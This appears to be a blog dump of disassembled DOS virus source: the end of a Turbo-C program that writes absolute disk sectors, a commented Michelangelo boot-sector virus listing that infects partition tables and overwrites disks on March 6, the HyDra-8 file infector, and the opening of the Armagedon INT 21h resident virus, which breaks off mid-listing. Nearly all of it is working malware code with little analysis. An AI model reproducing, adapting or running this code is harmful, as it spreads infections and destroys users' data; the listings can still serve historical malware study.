PUSH SI
PUSH DI
MOV SI,[BP+4]
DEC WORD PTR [SI]
MOV AX,[SI]
ADD AX,SI
MOV [BP-2],AX
MOV DI,[SI+2]
TEST WORD PTR [DI],1
JNZ LOC_259 ; Jump if not zero
CMP SI,DS:DATA_37E ; (7FC4:04A8=87C5H)
JE LOC_259 ; Jump if equal
MOV AX,[SI]
ADD [DI],AX
MOV BX,[BP-2]
MOV [BX+2],DI
MOV SI,DI
JMP SHORT LOC_260 ; (14B4)
LOC_259:
PUSH SI
CALL SUB_43 ; (13B5)
POP CX
LOC_260:
MOV BX,[BP-2]
TEST WORD PTR [BX],1
JNZ LOC_261 ; Jump if not zero
PUSH WORD PTR [BP-2]
PUSH SI
CALL SUB_44 ; (13EE)
POP CX
POP CX
LOC_261:
POP DI
POP SI
MOV SP,BP
POP BP
RETN
SUB_46 ENDP

;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ

SUB_47 PROC NEAR
PUSH BP
MOV BP,SP
PUSH SI
MOV SI,[BP+4]
OR SI,SI ; Zero ?
JNZ LOC_262 ; Jump if not zero
JMP SHORT LOC_264 ; (14F0)
LOC_262:
MOV AX,SI
ADD AX,0FFFCH
MOV SI,AX
CMP SI,DS:DATA_35E ; (7FC4:04A4=0AC26H)
JNE LOC_263 ; Jump if not equal
CALL SUB_45 ; (1425)
JMP SHORT LOC_264 ; (14F0)
LOC_263:
PUSH SI
CALL SUB_46 ; (147E)
POP CX
LOC_264:
POP SI
POP BP
RETN
SUB_47 ENDP

;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ

SUB_48 PROC NEAR
PUSH BP
MOV BP,SP
MOV AX,0DCBH
PUSH AX
PUSH WORD PTR [BP+4]
PUSH WORD PTR [BP+6]
LEA AX,[BP+8] ; Load effective addr
PUSH AX
CALL SUB_39 ; (0EB4)
JMP SHORT LOC_265 ; (1509)
LOC_265:
POP BP
RETN
SUB_48 ENDP

;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ

SUB_49 PROC NEAR
PUSH BP
MOV BP,SP
MOV AH,1AH
MOV DX,[BP+6]
INT 21H ; DOS Services ah=function 1Ah
; set DTA to ds:dx
MOV AH,4EH ; 'N'
MOV CX,[BP+8]
MOV DX,[BP+4]
INT 21H ; DOS Services ah=function 4Eh
; find 1st filenam match @ds:dx
JC LOC_266 ; Jump if carry Set
XOR AX,AX ; Zero register
JMP SHORT LOC_267 ; (152B)
LOC_266:
PUSH AX
CALL SUB_10 ; (031F)
JMP SHORT LOC_267 ; (152B)
LOC_267:
POP BP
RETN
SUB_49 ENDP

;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ

SUB_50 PROC NEAR
PUSH BP
MOV BP,SP
MOV AH,1AH
MOV DX,[BP+4]
INT 21H ; DOS Services ah=function 1Ah
; set DTA to ds:dx
MOV AH,4FH ; 'O'
INT 21H ; DOS Services ah=function 4Fh
; find next filename match
JC LOC_268 ; Jump if carry Set
XOR AX,AX ; Zero register
JMP SHORT LOC_269 ; (1547)
LOC_268:
PUSH AX
CALL SUB_10 ; (031F)
JMP SHORT LOC_269 ; (1547)
LOC_269:
POP BP
RETN
SUB_50 ENDP

DB 55H, 8BH, 0ECH, 0FFH, 76H, 6
DB 0FFH, 76H, 8, 8BH, 5EH, 4
DB 0FFH, 37H, 0E8H, 52H, 0F6H, 8BH
DB 0E5H, 8BH, 46H, 6, 8BH, 5EH
DB 4, 1, 7, 8BH, 1FH, 0C6H
DB 7, 0, 33H, 0C0H, 0EBH, 0
DB 5DH, 0C2H, 6, 0

ßßßßßßßßßßßßßßßßßßßßßßßßßß
SUBROUTINE

SUB_51 PROC NEAR
PUSH BP
MOV BP,SP
MOV BX,[BP+4]
MOV BYTE PTR [BX],0
MOV AX,1549H
PUSH AX
LEA AX,[BP+4] ; Load effective addr
PUSH AX
PUSH WORD PTR [BP+6]
LEA AX,[BP+8] ; Load effective addr
PUSH AX
CALL SUB_39 ; (0EB4)
JMP SHORT LOC_270 ; (158E)
LOC_270:
POP BP
RETN
SUB_51 ENDP

DB 55H, 8BH, 0ECH, 8BH, 5EH, 4
DB 0C6H, 7, 0, 0B8H, 49H, 15H
DB 50H, 8DH, 46H, 4, 50H, 0FFH
DB 76H, 6, 0FFH, 76H, 8, 0E8H
DB 0AH, 0F9H, 0EBH, 0, 5DH, 0C3H
DB 55H, 8BH, 0ECH, 56H, 57H, 8AH
DB 46H, 4, 8BH, 4EH, 6, 8BH
DB 56H, 8, 8BH, 5EH, 0AH, 0CDH
DB 25H, 5BH, 72H, 4, 33H, 0C0H
DB 0EBH, 8, 0A3H, 94H, 0, 0B8H
DB 0FFH, 0FFH, 0EBH, 0
LOC_271:
POP DI
POP SI
POP BP
RETN

;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ

SUB_52 PROC NEAR
PUSH BP
MOV BP,SP
PUSH SI
PUSH DI
MOV AL,[BP+4]
MOV CX,[BP+6]
MOV DX,[BP+8]
MOV BX,[BP+0AH]
INT 26H ; Absolute disk write, drive al
POP BX
JC LOC_272 ; Jump if carry Set
XOR AX,AX ; Zero register
JMP SHORT LOC_273 ; (15F6)
LOC_272:
MOV DATA_78,AX ; (8134:0094=0)
MOV AX,0FFFFH
JMP SHORT LOC_273 ; (15F6)
LOC_273:
POP DI
POP SI
POP BP
RETN
SUB_52 ENDP

DB 0, 0, 0, 0, 0, 0

SEG_A ENDS

;-------------------------------------------------------------- SEG_B ----

SEG_B SEGMENT PARA PUBLIC
ASSUME CS:SEG_B , DS:SEG_B , SS:STACK_SEG_C

DB 0, 0, 0, 0
DB 'Turbo-C - Copyright (c) 1988 Bor'
DB 'land Intl.'
DB 0
DB 'Null pointer assignment', 0DH, 0AH
DB 'Divide error', 0DH, 0AH, 'Abnorm'
DB 'al program termination', 0DH, 0AH
DATA_65 DW 0
DATA_66 DW 0
DATA_67 DW 0
DATA_68 DW 0
DATA_69 DW 0
DATA_70 DW 0
DATA_71 DW 0
DATA_72 DW 0
DB 0, 0, 0, 0, 0, 0
DATA_73 DD 00000H
DATA_75 DW 0
DATA_76 DW 0
DATA_77 DW 0
DATA_78 DW 0
DATA_79 DW 0
DB 0, 0, 0, 0, 0AAH, 4
DATA_80 DW 4AAH
DB 0AAH, 4, 0
DB 0
DATA_82 DW 0
DB 0, 0
DATA_83 DW 0
DB 0, 0
DATA_84 DW 0
DB 231 DUP (0)
DB 25H, 73H, 5CH, 25H, 73H, 0
DB 2AH, 2EH, 2AH, 0, 5CH, 2AH
DB 2EH, 2AH, 0
DB 'THIS PROGRAM WAS MADE BY A PERSO'
DB 'N FAR FROM YOU!!'
DB 0, 0, 0, 0, 0, 13H
DB 2, 2, 4, 5, 6, 8
DB 8, 8, 14H, 15H, 5, 13H
DB 0FFH, 16H, 5, 11H, 2, 0FFH
DB 12 DUP (0FFH)
DB 5, 5, 0FFH
DB 15 DUP (0FFH)
DB 0FH, 0FFH, 23H, 2, 0FFH, 0FH
DB 0FFH, 0FFH, 0FFH, 0FFH, 13H, 0FFH
DB 0FFH, 2, 2, 5, 0FH, 2
DB 0FFH, 0FFH, 0FFH, 13H
DB 8 DUP (0FFH)
DB 23H, 0FFH, 0FFH, 0FFH, 0FFH, 23H
DB 0FFH, 13H, 0FFH, 0, 5AH, 3
DB 5AH, 3, 5AH, 3
DATA_88 DW 0
DATA_89 DW 1000H
DB 0, 0, 0, 0, 9, 2
DB 10 DUP (0)
DB 3EH, 2, 0, 0, 0AH, 2
DB 1
DB 9 DUP (0)
DB 4EH, 2, 0, 0, 2, 2
DB 2
DB 9 DUP (0)
DB 5EH, 2, 0, 0, 43H, 2
DB 3, 0
DB 8 DUP (0)
DB 6EH, 2, 0, 0, 42H, 2
DB 4, 0
DB 8 DUP (0)
DB 7EH, 2, 0, 0, 0, 0
DB 0FFH, 0
DB 8 DUP (0)
DB 8EH, 2, 0, 0, 0, 0
DB 0FFH, 0
DB 8 DUP (0)
DB 9EH, 2, 0, 0, 0, 0
DB 0FFH
DB 9 DUP (0)
DB 0AEH, 2, 0, 0, 0, 0
DB 0FFH
DB 9 DUP (0)
DB 0BEH, 2, 0, 0, 0, 0
DB 0FFH
DB 9 DUP (0)
DB 0CEH, 2, 0, 0, 0, 0
DB 0FFH
DB 9 DUP (0)
DB 0DEH, 2, 0, 0, 0, 0
DB 0FFH
DB 9 DUP (0)
DB 0EEH, 2, 0, 0, 0, 0
DB 0FFH
DB 9 DUP (0)
DB 0FEH, 2, 0, 0, 0, 0
DB 0FFH, 0
DB 8 DUP (0)
DB 0EH, 3, 0, 0, 0, 0
DB 0FFH
DB 9 DUP (0)
DB 1EH, 3, 0, 0, 0, 0
DB 0FFH
DB 9 DUP (0)
DB 2EH, 3, 0, 0, 0, 0
DB 0FFH
DB 9 DUP (0)
DB 3EH, 3, 0, 0, 0, 0
DB 0FFH
DB 9 DUP (0)
DB 4EH, 3, 0, 0, 0, 0
DB 0FFH
DB 9 DUP (0)
DB 5EH, 3, 0, 0, 0, 0
DB 0FFH
DB 9 DUP (0)
DB 6EH, 3, 1, 20H, 2, 20H
DB 2, 20H, 4, 0A0H, 2, 0A0H
DB 30 DUP (0FFH)
DB 0, 0, 0, 0
DB 'print scanf : floating point for'
DB 'mats not linked', 0DH, 0AH
DB 0, 0DH, 0, 28H, 6EH, 75H
DB 6CH, 6CH, 29H, 0
DB '0123456789ABCDEF'
DATA_111 DB 0 ; Data table (indexed access)
DB 14H, 14H, 1, 14H, 15H, 14H
DB 14H, 14H, 14H, 2, 0, 14H
DB 3, 4, 14H, 9, 5
DB 8 DUP (5)
DB 11 DUP (14H)
DB 0FH, 17H, 0FH, 8, 14H, 14H
DB 14H, 7, 14H, 16H
DB 9 DUP (14H)
DB 0DH, 14H, 14H
DB 8 DUP (14H)
DB 10H, 0AH, 0FH, 0FH, 0FH, 8
DB 0AH, 14H, 14H, 6, 14H, 12H
DB 0BH, 0EH, 14H, 14H, 11H, 14H
DB 0CH, 14H, 14H
DB 0DH
DB 7 DUP (14H)
DB 0
DATA_117 DW 1D2H
DB 0D2H, 1, 0D9H, 1
;*TA_118 DW OFFSET SUB_53 ;*(0BCD)
DB 0CDH, 0BH
DB 0D2H, 0BH, 0D2H, 0BH, 0D2H, 0BH
DB 0
DB 63 DUP (0)
DATA_120 DW 0
DATA_121 DW 0
DATA_122 DW 0
DB 0, 0, 0, 0, 0, 0

SEG_B ENDS

;--------------------------------------------------------- STACK_SEG_C ---

STACK_SEG_C SEGMENT PARA STACK

DB 128 DUP (0)

STACK_SEG_C ENDS

END START

Michel angelo

2006-09-18T14:53:00.000+07:00

; Michelangelo
; Size: 512
; Type: Boot infector
; Date of action: March 6th
;
;

data_1e equ 4Ch ; (0000:004C=1DB1h)
data_2e equ 4Eh ; (0000:004E=70h)
data_3e equ 413h ; (0000:0413=280h)
data_4e equ 7C05h ; (0000:7C05=203Ch)
data_5e equ 7C0Ah ; (0000:7C0A=49EBh)
data_6e equ 7C0Ch ; (0000:7C0C=2A3Ch)
data_7e equ 7 ; (694E:0007=0)
data_8e equ 8 ; (694E:0008=0)
data_9e equ 0Ah ; (694E:000A=0)
data_11e equ 7C03h ; (694E:7C03=0)

seg_a segment
assume cs:seg_a, ds:seg_a

org 100h

mich proc far

start:
jmp loc_6 ; (01AF) "This is what you see at sector 0"
db 0F5h, 0, 80h, 9Fh, 2, 3 ; A lot of the virus is hidden
db 0, 56h, 2, 0, 0C8h, 1Eh ; in these defined bytes
db 50h, 0Ah, 0D2h, 75h, 1Bh, 33h ; watch this carefully
db 0C0h, 8Eh, 0D8h, 0F6h, 6, 3Fh ; or you will miss where
db 4, 1, 75h, 10h, 58h, 1Fh ; it writes to your
db 9Ch, 2Eh, 0FFh, 1Eh, 0Ah, 0 ; partiton table
db 9Ch, 0E8h, 0Bh, 0, 9Dh, 0CAh
db 2, 0, 58h, 1Fh, 2Eh, 0FFh
db 2Eh, 0Ah, 0, 50h, 53h, 51h
db 52h, 1Eh, 6, 56h, 57h, 0Eh
db 1Fh, 0Eh, 7, 0BEh, 4, 0
loc_1: ;Init registers
mov ax,201h
mov bx,200h
mov cx,1
xor dx,dx ; Zero register
pushf ; Push flags
call dword ptr ds:data_9e ; (694E:000A=0)
jnc loc_2 ; Jump if carry=0
xor ax,ax ; Zero register
pushf ; Push flags
call dword ptr ds:data_9e ; (694E:000A=0)
dec si
jnz loc_1 ; Jump if not zero
jmp short loc_5 ; (01A6)
loc_2: ;Zero registers clear direction
xor si,si ; Zero register
cld ; Clear direction
lodsw ; String [si] to ax
cmp ax,[bx]
jne loc_3 ; Jump if not equal
lodsw ; String [si] to ax
cmp ax,[bx+2]
je loc_5 ; Jump if equal
loc_3: ; cmp byte ptr See infected
mov ax,301h
mov dh,1
mov cl,3
cmp byte ptr [bx+15h],0FDh
je loc_4 ; Jump if equal
mov cl,0Eh
loc_4: ;call out all db hiden data
mov ds:data_8e,cx ; (694E:0008=0)
pushf ; Push flags
call dword ptr ds:data_9e ; (694E:000A=0)
jc loc_5 ; Jump if carry Set
mov si,3BEh
mov di,1BEh
mov cx,21h
cld ; Clear direction
rep movsw ; Rep while cx>0 Mov [si]
mov ax,301h ; to es:[di]
xor bx,bx ; Zero register
mov cx,1
xor dx,dx ; Zero register
pushf ; Push flags
call dword ptr ds:data_9e ; (694E:000A=0)
loc_5: ;Clear all set
pop di
pop si
pop es
pop ds
pop dx
pop cx
pop bx
pop ax
retn
loc_6: ;Load all hiden data
xor ax,ax ; Zero register
mov ds,ax
cli ; Disable interrupts
mov ss,ax
mov ax,7C00h
mov sp,ax
sti ; Enable interrupts
push ds
push ax
mov ax,ds:data_1e ; (0000:004C=1DB1h)
mov ds:data_5e,ax ; (0000:7C0A=49EBh)
mov ax,ds:data_2e ; (0000:004E=70h)
mov ds:data_6e,ax ; (0000:7C0C=2A3Ch)
mov ax,ds:data_3e ; (0000:0413=280h)
dec ax
dec ax
mov ds:data_3e,ax ; (0000:0413=280h)
mov cl,6
shl ax,cl ; Shift w/zeros fill
mov es,ax
mov ds:data_4e,ax ; (0000:7C05=203Ch)
mov ax,0Eh
mov ds:data_1e,ax ; (0000:004C=1DB1h)
mov ds:data_2e,es ; (0000:004E=70h)
mov cx,1BEh
mov si,7C00h
xor di,di ; Zero register
cld ; Clear direction
rep movsb ; Rep while cx>0 Mov [si]
jmp dword ptr cs:data_11e ; to es:[di] (694E:7C03=0)
db 33h, 0C0h, 8Eh, 0C0h, 0CDh, 13h ;<- Notice all the
db 0Eh, 1Fh, 0B8h, 1, 2, 0BBh ; cd 13
db 0, 7Ch, 8Bh, 0Eh, 8, 0
db 83h, 0F9h, 7, 75h, 7, 0BAh
db 80h, 0, 0CDh, 13h, 0EBh, 2Bh
db 8Bh, 0Eh, 8, 0, 0BAh, 0
db 1, 0CDh, 13h, 72h, 20h, 0Eh
db 7, 0B8h, 1, 2, 0BBh, 0
db 2, 0B9h, 1, 0, 0BAh, 80h
db 0, 0CDh, 13h, 72h, 0Eh, 33h
db 0F6h, 0FCh, 0ADh, 3Bh, 7, 75h
db 4Fh, 0ADh, 3Bh, 47h, 2
db 75h, 49h
loc_7:;check if it is time to nuke
xor cx,cx ; Zero register
mov ah,4
int 1Ah ; Real time clock ah=func 04h don't work on an xt
; read date cx=year, dx=mon/day
cmp dx,306h ; See if March 6th
je loc_8 ; Jump if equal to nuking subs
retf ; Return to launch command.com
loc_8:;get ready
xor dx,dx ; Zero register
mov cx,1
loc_9:;run 7 times nuke 31.5 megs of hd
mov ax,309h
mov si,ds:data_8e ; (694E:0008=0)
cmp si,3
je loc_10 ; Jump if equal
mov al,0Eh
cmp si,0Eh
je loc_10 ; Jump if equal
mov dl,80h
mov byte ptr ds:data_7e,4 ; (694E:0007=0)
mov al,11h
loc_10: ;nuke away
mov bx,5000h
mov es,bx
int 13h ; Disk dl=drive a: ah=func 03h
; write sectors from mem es:bx
jnc loc_11 ; Jump if carry=0
xor ah,ah ; Zero register
int 13h ; Disk dl=drive a: ah=func 00h
; reset disk, al=return status
loc_11: ;rest for loc-9 nuking
inc dh
cmp dh,ds:data_7e ; (694E:0007=0)
jb loc_9 ; Jump if below
xor dh,dh ; Zero register
inc ch
jmp short loc_9 ; (0250)
loc_12:;time to infect a floppie or hard dirve
mov cx,7
mov ds:data_8e,cx ; (694E:0008=0)
mov ax,301h
mov dx,80h
int 13h ; Disk dl=drive a: ah=func 03h infect flopie
; write sectors from mem es:bx
jc loc_7 ; Jump if carry Set
mov si,3BEh
mov di,1BEh
mov cx,21h
rep movsw ; Rep while cx>0 Mov [si]
mov ax,301h : to es:[di]
xor bx,bx ; Zero register
inc cl
int 13h ; Disk dl=drive a: ah=func 03h lets infect hd
; write sectors from mem es:bx
;* jmp short loc_13 ;*(02E0)
db 0EBh, 32h
db 1, 4, 11h, 0, 80h, 0
db 5, 5, 32h, 1, 0, 0
db 0, 0, 0
db 53h, 53h, 20h, 20h, 43h, 4Fh
db 4Dh
db 58 dup (0)
db 55h, 0AAh

seg_a ends

;Last notes this virus looks like a poor hack job on the stoned virus.
;It is kinda cool in the fact that it is hard to get out of the partition table
;even if you nuke the partition table it will live on even if you replace it.
;the only way to get it out of the partition table is 1. debug 2.clean ver 86b
;3 cpav 1.0 and above. oh yeah and all that special shit that came out for it
;this virus uses int 1ah which doesn't work on an XT system.
;the virus isn't actually 512 but that is how much it writes.
;it moves the boot area of a floppy to the last sector on the disk
;and on a harddrive it moves it to the last sector in the root directory
;This should show you all how much the media can over do it on things
;since this is really a lame virus,to tell you the truth there is a lot better
;ones out there.
;This in no way is a complete listing of the code for the virus.
;Nor is it the best since i'm not the best at Assembly.
;Done by Visionary.
;BTW to who ever wrote this virus... Get a life!

-------------------------------------------------------------------------------

hydra script

2006-09-18T14:50:00.000+07:00

DATA_1E EQU 80H
DATA_16E EQU 1EFH
DATA_17E EQU 1F2H
DATA_18E EQU 9D9AH

SEG_A SEGMENT BYTE PUBLIC
ASSUME CS:SEG_A, DS:SEG_A

ORG 100h

HYDRA8 PROC FAR

START:
JMP LOC_2 ; (01E2)
DB 59H, 44H, 00H, 00H
DATA_4 DB 'HyDra-8 Beta - Not For Release'
DB '. *.CO?'
DB 0
DATA_7 DW 0, 84FCH
DATA_9 DW 0
DATA_10 DB 0
DB 29 DUP (0)
DATA_11 DB 0
DB 0, 0, 0, 0, 0, 0
DATA_12 DB 0
DB 0, 0, 0, 0, 0, 0
COPYRIGHT DB 'Copyright (c)'
DB ' 1991 by C.A.V.E. '
DATA_13 DB 2AH
DB 2EH, 45H, 58H, 45H, 00H
DATA_14 DB 33H
DB 0C9H, 1EH, 52H,0E8H, 06H, 00H
DB 0E8H, 13H, 00H,0EBH, 36H, 90H
DB 0BEH, 48H, 01H,0BFH, 5AH, 01H
DB 0B9H, 12H, 00H

LOCLOOP_1:
XOR BYTE PTR [SI],0F5H
MOVSB ; Mov [si] to es:[di]
LOOP LOCLOOP_1 ; Loop if cx > 0

RETN
MOV AX,0F00H
INT 10H ; Video display ah=functn 0Fh
; get state, al=mode, bh=page
MOV AH,0
INT 10H ; Video display ah=functn 00h
; set display mode in al
MOV AX,200H
MOV DH,0CH
MOV DL,1FH
INT 10H ; Video display ah=functn 02h
; set cursor location in dx
XOR DX,DX ; Zero register
MOV DX,OFFSET DATA_12
MOV AH,9
INT 21H ; DOS Services ah=function 09h
; display char string at ds:dx
MOV AX,200H
MOV DH,18H
MOV DL,0
INT 10H ; Video display ah=functn 02h
; set cursor location in dx
RETN
MOV AX,4C00H
INT 21H ; DOS Services ah=function 4Ch
; terminate with al=return code
ADD [BP+SI-6563H],AH
CMC ; Complement carry
PUSHF ; Push flags
XCHG DH,CH
MOV DI,DATA_18E
DB 9BH,0F5H,0B2H, 94H, 99H, 81H
DB 0CAH,0D1H
LOC_2:
PUSH AX
MOV AX,CS
ADD AX,1000H
XOR DI,DI ; Zero register
MOV CX,1EFH
MOV SI,OFFSET DS:[100H]
MOV ES,AX
REP MOVSB ; Rep when cx >0 Mov [si] to es:[di]
MOV AH,1AH
MOV DX,OFFSET DATA_10
INT 21H ; DOS Services ah=function 1Ah
; set DTA to ds:dx
MOV AH,4EH ; 'N'
MOV DX,OFFSET DATA_4+22H
INT 21H ; DOS Services ah=function 4Eh
; find 1st filenam match @ds:dx
JC LOC_6 ; Jump if carry Set
LOC_3:
MOV AH,3DH ; '='
MOV AL,2
MOV DX,OFFSET DATA_11
INT 21H ; DOS Services ah=function 3Dh
; open file, al=mode,name@ds:dx
MOV BX,AX
PUSH ES
POP DS
MOV AX,3F00H
MOV CX,0FFFFH
MOV DX,DATA_16E
INT 21H ; DOS Services ah=function 3Fh
; read file, cx=bytes, to ds:dx
ADD AX,1EFH
MOV CS:DATA_9,AX
CMP WORD PTR DS:DATA_17E,4459H
JNE LOC_4 ; Jump if not equal
MOV AH,3EH ; '>'
INT 21H ; DOS Services ah=function 3Eh
; close file, bx=file handle
PUSH CS
POP DS
MOV AH,4FH ; 'O'
INT 21H ; DOS Services ah=function 4Fh
; find next filename match
JC LOC_7 ; Jump if carry Set
JMP SHORT LOC_3 ; (0204)
LOC_4:
XOR CX,CX ; Zero register
MOV DX,CX
MOV AX,4200H
INT 21H ; DOS Services ah=function 42h
; move file ptr, cx,dx=offset
JC LOC_5 ; Jump if carry Set
MOV AH,40H ; '@'
XOR DX,DX ; Zero register
MOV CX,CS:DATA_9
INT 21H ; DOS Services ah=function 40h
; write file cx=bytes, to ds:dx
LOC_5:
MOV AH,3EH ; '>'
INT 21H ; DOS Services ah=function 3Eh
; close file, bx=file handle
PUSH CS
POP DS
LOC_6:
MOV AH,1AH
MOV DX,DATA_1E
INT 21H ; DOS Services ah=function 1Ah
; set DTA to ds:dx
JMP SHORT LOC_10 ; (02B0)
DB 90H
LOC_7:
CLC ; Clear carry flag
XOR CX,CX ; Zero register
PUSH DS
PUSH DX
MOV AH,1AH
MOV DX,OFFSET DATA_10
INT 21H ; DOS Services ah=function 1Ah
; set DTA to ds:dx
MOV DX,OFFSET DATA_13
MOV AH,4EH ; 'N'
XOR CX,CX ; Zero register
INT 21H ; DOS Services ah=function 4Eh
; find 1st filenam match @ds:dx
JC LOC_6 ; Jump if carry Set
LOC_8:
MOV AH,3CH ; '<'
XOR CX,CX ; Zero register
MOV DX,OFFSET DATA_11
INT 21H ; DOS Services ah=function 3Ch
; create/truncate file @ ds:dx
MOV BX,AX
JC LOC_6 ; Jump if carry Set
MOV AX,3D02H
MOV DX,OFFSET DATA_11
INT 21H ; DOS Services ah=function 3Dh
; open file, al=mode,name@ds:dx
MOV BX,AX
CLC ; Clear carry flag
XOR DX,DX ; Zero register
MOV AH,40H ; '@'
MOV DX,OFFSET DATA_14
MOV CX,5AH
INT 21H ; DOS Services ah=function 40h
; write file cx=bytes, to ds:dx
CMP AX,5AH
JB LOC_9 ; Jump if below
MOV AH,3EH ; '>'
INT 21H ; DOS Services ah=function 3Eh
; close file, bx=file handle
JC LOC_9 ; Jump if carry Set
MOV AH,4FH ; 'O'
INT 21H ; DOS Services ah=function 4Fh
; find next filename match
JNC LOC_8 ; Jump if carry=0
LOC_9:
MOV AX,4C00H
INT 21H ; DOS Services ah=function 4Ch
; terminate with al=return code
LOC_10:
XOR DI,DI ; Zero register
MOV SI,OFFSET DATA_15
MOV CX,22H
REP MOVSB ; Rep when cx >0 Mov [si] to es:[di]
POP BX
MOV CS:DATA_7,0
MOV WORD PTR CS:DATA_7+2,ES
POP BX
JMP DWORD PTR CS:DATA_7
DATA_15 DB 1EH
DB 07H,0B9H,0FFH,0FFH,0BEH,0EFH
DB 02H,0BFH, 00H, 01H, 2BH,0CEH
DB 0F3H,0A4H, 2EH,0C7H, 06H, 00H
DB 01H, 00H, 01H, 2EH, 8CH, 1EH
DB 02H, 01H, 8BH,0C3H, 2EH,0FFH
DB 2EH, 00H, 01H,0CDH
DB 20H

HYDRA8 ENDP

SEG_A ENDS

END START

armagedon script

2006-09-18T14:46:00.000+07:00

armagedon script

data_1e equ 2Ch ; (7415:002C=0)
data_2e equ 81h ; (7415:0081=0)

seg_a segment byte public
assume cs:seg_a, ds:seg_a

org 100h

armagedo proc far

start:
jmp loc_36 ; (0436)

armagedo endp

;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
;
; External Entry Point
;
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ

int_21h_entry proc far
pushf ; Push flags
cmp ah,0E0h
jne loc_2 ; Jump if not equal
mov ax,0DADAh
popf ; Pop flags
iret ; Interrupt return
int_21h_entry endp

loc_2:
cmp ah,0E1h
jne loc_3 ; Jump if not equal
mov ax,cs
popf ; Pop flags
iret ; Interrupt return
loc_3:
cmp ax,4B00h
je loc_5 ; Jump if equal
loc_4:
popf ; Pop flags
jmp dword ptr cs:data_4 ; (7415:0122=138Dh)
data_4 dd 7415138Dh
data_6 dd 7415022Bh
data_8 db 0
data_9 db 8
data_10 db 10h
data_11 db 9
data_12 db 34h
data_13 dw 0
db 0
data_14 db 0
data_15 db 0
data_16 db 0
db 43h, 4Fh, 4Dh
data_17 dw 5
data_18 dw 2
db 0, 0
data_19 dw 1301h
data_20 dw 1306h
data_21 dw 0FFFEh
data_22 dw 7415h
data_23 dw 3D5Bh
data_24 dw 20h
data_25 dw 0EC2h
data_26 dw 6E68h
db 0, 0, 81h, 0
data_27 dw 12ACh
db 5Ch, 0
data_28 dw 12ACh
db 6Ch, 0
data_29 dw 12ACh
loc_5:
push ds
push bx
push si
push cx
push ax
push dx
push bp
push es
push di
cld ; Clear direction
push dx
push ds
xor cx,cx ; Zero register
mov si,dx
loc_6:
mov al,[si]
cmp al,0
je loc_7 ; Jump if equal
inc cx
inc si
jmp short loc_6 ; (016C)
loc_7:
add dx,cx
sub dx,3
mov si,135h
mov di,dx
cmp byte ptr [di-3],4Eh ; 'N'
jne loc_8 ; Jump if not equal
cmp byte ptr [di-2],44h ; 'D'
je loc_11 ; Jump if equal
loc_8:
mov cx,3

locloop_9:
mov al,cs:[si]
cmp al,[di]
jne loc_11 ; Jump if not equal
inc si
inc di
loop locloop_9 ; Loop if cx > 0

pop ds
pop dx
push dx
push ds
mov si,dx
mov dl,0
cmp byte ptr [si+1],3Ah ; ':'
jne loc_10 ; Jump if not equal
mov dl,[si]
and dl,0Fh
loc_10:
mov ah,36h ; '6'
int 21h ; DOS Services ah=function 36h
; get free space, drive dl,1=a:
cmp ax,0FFFFh
je loc_11 ; Jump if equal
jmp short loc_13 ; (01C5)
db 90h
loc_11:
jmp loc_19 ; (02F8)
jmp loc_20 ; (02FD)
loc_12:
jmp loc_17 ; (02C4)
jmp loc_18 ; (02CF)
loc_13:
cmp bx,3
jb loc_11 ; Jump if below
pop ds
pop dx
push ds
push dx
mov cs:data_22,ds ; (7415:0144=7415h)
mov cs:data_23,dx ; (7415:0146=3D5Bh)
mov ax,4300h
int 21h ; DOS Services ah=function 43h
; get/set file attrb, nam@ds:dx
mov cs:data_24,cx ; (7415:0148=20h)
mov ax,4301h
xor cx,cx ; Zero register
int 21h ; DOS Services ah=function 43h
; get/set file attrb, nam@ds:dx
mov bx,0FFFFh
mov ah,48h ; 'H'
int 21h ; DOS Services ah=function 48h
; allocate memory, bx=bytes/16
